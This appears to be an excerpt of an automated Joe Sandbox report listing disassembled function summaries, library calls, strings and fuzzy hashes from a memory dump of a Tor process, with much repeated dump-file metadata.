Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B317B

Strings

conn, xrefs: 013B3085
src/or/main.c, xrefs: 013B3079, 013B30C0, 013B314F

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr
String ID: conn$src/or/main.c
API String ID: 797389190-2598468705
Opcode ID: ab482fd9f45d71a00d0962bd2d8071f24ee3b523d25b7b98b62e4b5c28637654
Instruction ID: 0a5e4499056fd9d5ee7fc6c82599aa4942b7fb978e7f5811aeb3abfa418d379e
Opcode Fuzzy Hash: ab482fd9f45d71a00d0962bd2d8071f24ee3b523d25b7b98b62e4b5c28637654
Instruction Fuzzy Hash: 4F3108B09097129FCB51EFB5C89456EBBF8BF80208F41C85DD8D48B241E638D545DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 013B3193 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013B31E3

Part of subcall function 0155D522: __stack_chk_fail.LIBSSP-0 ref: 0155D581

abort.MSVCRT ref: 013B322A
__stack_chk_fail.LIBSSP-0 ref: 013B32BD

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B32AC

Strings

conn, xrefs: 013B31C3
src/or/main.c, xrefs: 013B31B7, 013B31FE, 013B3280

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr
String ID: conn$src/or/main.c
API String ID: 797389190-2598468705
Opcode ID: 5369bd9de935be31241a60483133930a41fe0fd39294514c0c4d23cdf7b89721
Instruction ID: 2a2aa44b1fe015181b730dce807192ea9cd2803cae118d09e3de05986112cfa3
Opcode Fuzzy Hash: 5369bd9de935be31241a60483133930a41fe0fd39294514c0c4d23cdf7b89721
Instruction Fuzzy Hash: CA3134B09087129BCB50EFB5C88466EBBF8BF90248F41C85EA8D48F241E638D545DF62

Uniqueness

Uniqueness Score: -1.00%

Function 014F7E04 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 014F7E43
memcpy.MSVCRT ref: 014F7E66

Part of subcall function 014F6598: __stack_chk_fail.LIBSSP-0 ref: 014F65C9

__stack_chk_fail.LIBSSP-0 ref: 014F7EF8

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 014F7EC5

Strings

0, xrefs: 014F7ED2
0, xrefs: 014F7E8B

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$memcpystrrchr$abort
String ID: 0$0
API String ID: 2168895352-203156872
Opcode ID: 3175f2f3d4e656eea5687a62c8305f4752e369b96f9afd04c65b8951ce110613
Instruction ID: c39b212da39ee5f80e440990658ccb2405ec1f51ecab84200bf62203796f9ab8
Opcode Fuzzy Hash: 3175f2f3d4e656eea5687a62c8305f4752e369b96f9afd04c65b8951ce110613
Instruction Fuzzy Hash: F221C3B490935ADFCB54EFA4C4846AEBBF4BF55308F00881DE894AB340D7749945DB52

Uniqueness

Uniqueness Score: -1.00%

Function 013B2594 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013B25E4
event_pending.LIBEVENT-2-1-6 ref: 013B261A
__stack_chk_fail.LIBSSP-0 ref: 013B263A

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

connection_is_reading, xrefs: 013B25CC
conn, xrefs: 013B25C4
src/or/main.c, xrefs: 013B25B8

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortevent_pending
String ID: conn$connection_is_reading$src/or/main.c
API String ID: 1821143723-826704204
Opcode ID: 3e89602e40b8cbc8405bc13ffa97d6c700cbbec778dac11eb5674b23208627a6
Instruction ID: ffbdaa1ec4c49af4b3a1f75548916b95abaa938bdea598b97735e1919c633aef
Opcode Fuzzy Hash: 3e89602e40b8cbc8405bc13ffa97d6c700cbbec778dac11eb5674b23208627a6
Instruction Fuzzy Hash: C01130B0E04206DFDB50EF69D4947AFBBF4AF40218F008459D990DB241E3B8E551DF62

Uniqueness

Uniqueness Score: -1.00%

Function 013B2BB8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013B2C08
event_pending.LIBEVENT-2-1-6 ref: 013B2C3E
__stack_chk_fail.LIBSSP-0 ref: 013B2C5E

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

conn, xrefs: 013B2BE8
connection_is_writing, xrefs: 013B2BF0
src/or/main.c, xrefs: 013B2BDC

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortevent_pending
String ID: conn$connection_is_writing$src/or/main.c
API String ID: 1821143723-2598718018
Opcode ID: 666c7a163a303f62baa56f88e0fcac4a67d88a5012090ff576b726ebe0cfed32
Instruction ID: 95d9be26c158fd2582de14d412d340e4515b43b37cfbf93043e167da125f2113
Opcode Fuzzy Hash: 666c7a163a303f62baa56f88e0fcac4a67d88a5012090ff576b726ebe0cfed32
Instruction Fuzzy Hash: 78113CB0A08706DFDF10DFA9C8847AFBBF4AF50208F018459E9909B251E378E545DF92

Uniqueness

Uniqueness Score: -1.00%

Function 01565F1F Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 01565F53
memcmp.MSVCRT ref: 01565F8C
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0157B8CE), ref: 01565FAB

Strings

, xrefs: 01565F3D
, xrefs: 01565F67
, xrefs: 01565F63

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: memcmp$__stack_chk_fail
String ID: $ $
API String ID: 1939009685-3665324030
Opcode ID: 341303a594405a9cbe50909bf3a785f38e5cf5098466708f8991138cb5ca69d3
Instruction ID: c8d8fd2b7f76ca38b2a2defadbf2f1037742e5ec496ccabb43380a709fb645da
Opcode Fuzzy Hash: 341303a594405a9cbe50909bf3a785f38e5cf5098466708f8991138cb5ca69d3
Instruction Fuzzy Hash: A0111BB0915309DFDB50DFA9C4846AEFBF8BB48284F408919E860EB240E778D5418F92

Uniqueness

Uniqueness Score: -1.00%

Function 015010DA Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0150117C), ref: 0150113B

Strings

WAITING_TO_WRITE, xrefs: 0150111D
PENDING, xrefs: 01501124
(invalid), xrefs: 0150112B
WAITING_FOR_CELLS, xrefs: 01501116
IDLE, xrefs: 0150110F

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: (invalid)$IDLE$PENDING$WAITING_FOR_CELLS$WAITING_TO_WRITE
API String ID: 4216919130-685788516
Opcode ID: 85e233f2ca4cc1baffe5fa5c68b2b300abedfe6ac30342b143261366675c3628
Instruction ID: 04aa98b848b072f4c379f7b886b9638f7cf228221d0f33f73f59a424a0df270c
Opcode Fuzzy Hash: 85e233f2ca4cc1baffe5fa5c68b2b300abedfe6ac30342b143261366675c3628
Instruction Fuzzy Hash: 6FF03A30E18904879B3FDAEE8CC187E7BE5FB8A741B444816E915DF684C120D9528B93

Uniqueness

Uniqueness Score: -1.00%

Function 0155E2F7 Relevance: 9.1, APIs: 6, Instructions: 148stringCOMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155E36D
abort.MSVCRT ref: 0155E3AC
strlen.MSVCRT ref: 0155E3D8
memcpy.MSVCRT ref: 0155E47D
memcpy.MSVCRT ref: 0155E4AD
__stack_chk_fail.LIBSSP-0 ref: 0155E4E3

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortmemcpystrrchr$strlen
String ID:
API String ID: 3107578005-0
Opcode ID: 2cddf8848f1096b187db0a6477fd63240f39420b74ffddee600d13e1a6108dca
Instruction ID: cda094b2e7f113f48b9abbb376645f0c8afb196f65168eb1c4b829953b124a73
Opcode Fuzzy Hash: 2cddf8848f1096b187db0a6477fd63240f39420b74ffddee600d13e1a6108dca
Instruction Fuzzy Hash: 21618274E0521ADFDB40DFA8C585AAEFBF1FF49204F50855AE854AB311D338AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0163B456 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B4B9

Part of subcall function 0163B5E0: abort.MSVCRT ref: 0163B636
Part of subcall function 0163B5E0: event_pending.LIBEVENT-2-1-6 ref: 0163B653
Part of subcall function 0163B5E0: event_add.LIBEVENT-2-1-6 ref: 0163B66B
Part of subcall function 0163B5E0: __stack_chk_fail.LIBSSP-0 ref: 0163B67E

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B4F8
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B537
event_new.LIBEVENT-2-1-6(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B573
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B58E
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B5D5

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr$event_addevent_newevent_pendingfree
String ID:
API String ID: 3794912484-0
Opcode ID: 3a1dc285c84c833f3749abec0773ec9510ada162978dbaafc3c21716380df4c0
Instruction ID: 619db4bde51874542702cad881bcf012d372118aa702b05924ea39f6d07343da
Opcode Fuzzy Hash: 3a1dc285c84c833f3749abec0773ec9510ada162978dbaafc3c21716380df4c0
Instruction Fuzzy Hash: 0841B4B490430A9FCB50EFA9C9946AEBBF0BF58354F11881DE894AB340D738D944DF62

Uniqueness

Uniqueness Score: -1.00%

Function 01657980 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 59stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0165799A
malloc.MSVCRT ref: 016579A6
strlen.MSVCRT ref: 016579B0
malloc.MSVCRT ref: 016579BC
free.MSVCRT ref: 01657A1C

Strings

<unknown>, xrefs: 01657852, 01657910, 01657930, 01657983

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: mallocstrlen$free
String ID: <unknown>
API String ID: 2585366504-1574992787
Opcode ID: ee0e03c05224b15018f042b71dc0ddacbaf7cc3fc4cd1205b6f906a8973cffd6
Instruction ID: 6be5241d89d36a280470634dcbeea5832b2b16d0d71783d97bdfa2ff29cfc296
Opcode Fuzzy Hash: ee0e03c05224b15018f042b71dc0ddacbaf7cc3fc4cd1205b6f906a8973cffd6
Instruction Fuzzy Hash: 591190714083208BC750AF39D88142ABFF6EF96300F459C6EECC087312E736A544CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0160EDF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 208COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0160EF93
memcpy.MSVCRT ref: 0160F1D8
memcpy.MSVCRT ref: 0160F1F8
__stack_chk_fail.LIBSSP-0 ref: 0160F209

Strings

P, xrefs: 0160F1DD

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: memcpy$__stack_chk_fail
String ID: P
API String ID: 2952282957-3110715001
Opcode ID: ccefed4b4c8ec26aac75118fdb4251f173dcd4ec237931b914cf966dc45a4386
Instruction ID: 238ad18f0511f6d3e342aff6825775f879f1b5c71823ee1e2b950c26bae60fb7
Opcode Fuzzy Hash: ccefed4b4c8ec26aac75118fdb4251f173dcd4ec237931b914cf966dc45a4386
Instruction Fuzzy Hash: 6AC173B49046698FDB60CF18C98479EBBF5BB88315F0084EAEA5CA7340E7359E84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 01589BC8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

